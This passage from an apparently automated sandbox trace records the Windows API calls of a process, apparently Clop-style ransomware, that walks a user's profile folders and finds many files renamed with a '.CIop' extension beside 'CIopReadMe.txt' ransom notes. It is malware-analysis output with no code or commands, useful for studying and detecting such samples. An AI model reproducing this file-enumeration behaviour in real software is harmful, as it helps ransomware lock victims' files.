lpString2="..") returned 0 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.951] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0158.951] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0158.951] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites" [0158.951] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\" [0158.951] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0158.951] SetErrorMode (uMode=0x1) returned 0x1 [0158.951] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0158.951] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0158.951] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\" [0158.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0158.952] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.952] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0158.952] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0158.952] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.952] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.952] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.952] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.952] lstrlenW (lpString="desktop.ini") returned 11 [0158.952] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.952] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.952] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.952] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links" [0158.952] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*" [0158.952] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.952] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="Links" [0158.952] lstrcpyW (in: lpString1=0x2dc7014, lpString2="Links" | out: lpString1="Links") returned="Links" [0158.952] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.952] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.952] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.952] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.952] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.952] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.952] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.953] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.953] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.953] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.953] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0158.953] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0158.953] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0158.953] SetErrorMode (uMode=0x1) returned 0x1 [0158.953] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0158.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0158.953] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\" [0158.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0158.953] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.953] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0158.953] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0158.953] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.953] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.953] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.953] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.953] lstrlenW (lpString="desktop.ini") returned 11 [0158.953] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.953] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0158.953] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0158.953] lstrlenW (lpString=".LNK") returned 4 [0158.953] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.953] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0158.953] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0158.953] lstrlenW (lpString=".LNK") returned 4 [0158.953] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.953] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0158.953] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0158.953] lstrlenW (lpString=".LNK") returned 4 [0158.953] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.954] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.954] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.954] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Links" [0158.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*" [0158.954] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.954] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Links") returned="Links" [0158.954] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0158.954] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.954] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.954] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.954] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.954] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.954] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.954] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.954] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.954] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.954] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.954] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0158.954] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0158.954] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0158.954] SetErrorMode (uMode=0x1) returned 0x1 [0158.954] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0158.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0158.954] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\" [0158.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0158.955] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.955] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0158.955] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0158.955] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.955] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings" [0158.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*" [0158.955] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0158.955] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Local Settings") returned="Local Settings" [0158.955] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0158.955] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.955] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.955] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0158.955] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0158.955] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0158.955] SetErrorMode (uMode=0x1) returned 0x1 [0158.955] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0158.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0158.955] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0158.955] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0158.955] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.955] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0158.955] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0158.955] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.955] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.955] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2="..") returned 1 [0158.955] lstrcmpW (lpString1="2G6M.mp3.CIop", lpString2=".") returned 1 [0158.955] lstrlenW (lpString=".CIop") returned 5 [0158.955] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.955] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.955] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.955] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.955] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.955] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.955] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.956] lstrlenW (lpString="desktop.ini") returned 11 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2="..") returned 1 [0158.956] lstrcmpW (lpString1="eEmxkUZ3.wav.CIop", lpString2=".") returned 1 [0158.956] lstrlenW (lpString=".CIop") returned 5 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2="..") returned 1 [0158.956] lstrcmpW (lpString1="I8Dv-9gTrMuD.mp3.CIop", lpString2=".") returned 1 [0158.956] lstrlenW (lpString=".CIop") returned 5 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2="..") returned 1 [0158.956] lstrcmpW (lpString1="N0rL.wav.CIop", lpString2=".") returned 1 [0158.956] lstrlenW (lpString=".CIop") returned 5 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2="..") returned 1 [0158.956] lstrcmpW (lpString1="p6UEXQwLP.mp3.CIop", lpString2=".") returned 1 [0158.956] lstrlenW (lpString=".CIop") returned 5 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2="..") returned 1 [0158.956] lstrcmpW (lpString1="Pf3R-b3DBtl.wav.CIop", lpString2=".") returned 1 [0158.956] lstrlenW (lpString=".CIop") returned 5 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2="..") returned 1 [0158.956] lstrcmpW (lpString1="vEcRh3pLVRcZ1O.mp3.CIop", lpString2=".") returned 1 [0158.956] lstrlenW (lpString=".CIop") returned 5 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2="..") returned 1 [0158.956] lstrcmpW (lpString1="z8Pr_v.mp3.CIop", lpString2=".") returned 1 [0158.956] lstrlenW (lpString=".CIop") returned 5 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.956] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.956] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.956] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.956] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0158.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*" [0158.956] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.957] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="Music" [0158.957] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0158.957] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.957] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.957] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.957] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.957] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.957] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.957] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.957] lstrcmpW (lpString1="GO5j 80", lpString2="..") returned 1 [0158.957] lstrcmpW (lpString1="GO5j 80", lpString2=".") returned 1 [0158.957] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Music" [0158.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0158.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\", lpString2="GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0158.957] SetErrorMode (uMode=0x1) returned 0x1 [0158.957] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80" [0158.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0158.957] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\" [0158.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*" [0158.957] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.957] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Music\\GO5j 80") returned="GO5j 80" [0158.957] lstrcpyW (in: lpString1=0x2dc7014, lpString2="GO5j 80" | out: lpString1="GO5j 80") returned="GO5j 80" [0158.957] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.957] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.957] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2="..") returned 1 [0158.957] lstrcmpW (lpString1="2HvoIrFtByws.mp3.CIop", lpString2=".") returned 1 [0158.957] lstrlenW (lpString=".CIop") returned 5 [0158.957] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.957] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2="..") returned 1 [0158.957] lstrcmpW (lpString1="69_UAHNRs.mp3.CIop", lpString2=".") returned 1 [0158.957] lstrlenW (lpString=".CIop") returned 5 [0158.957] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.957] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.957] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.957] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.957] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.957] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2="..") returned 1 [0158.957] lstrcmpW (lpString1="dCyPtvG.wav.CIop", lpString2=".") returned 1 [0158.957] lstrlenW (lpString=".CIop") returned 5 [0158.957] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.958] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2="..") returned 1 [0158.958] lstrcmpW (lpString1="Dg7 CrsqU k7Xp.mp3.CIop", lpString2=".") returned 1 [0158.958] lstrlenW (lpString=".CIop") returned 5 [0158.958] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 